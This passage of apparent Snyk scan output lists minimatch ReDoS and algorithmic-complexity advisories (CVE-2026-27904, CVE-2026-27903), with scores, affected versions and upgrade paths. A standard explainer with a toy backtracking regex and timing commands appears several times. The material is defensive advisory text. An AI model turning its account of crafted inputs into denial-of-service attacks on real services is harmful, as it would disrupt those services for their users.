it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", 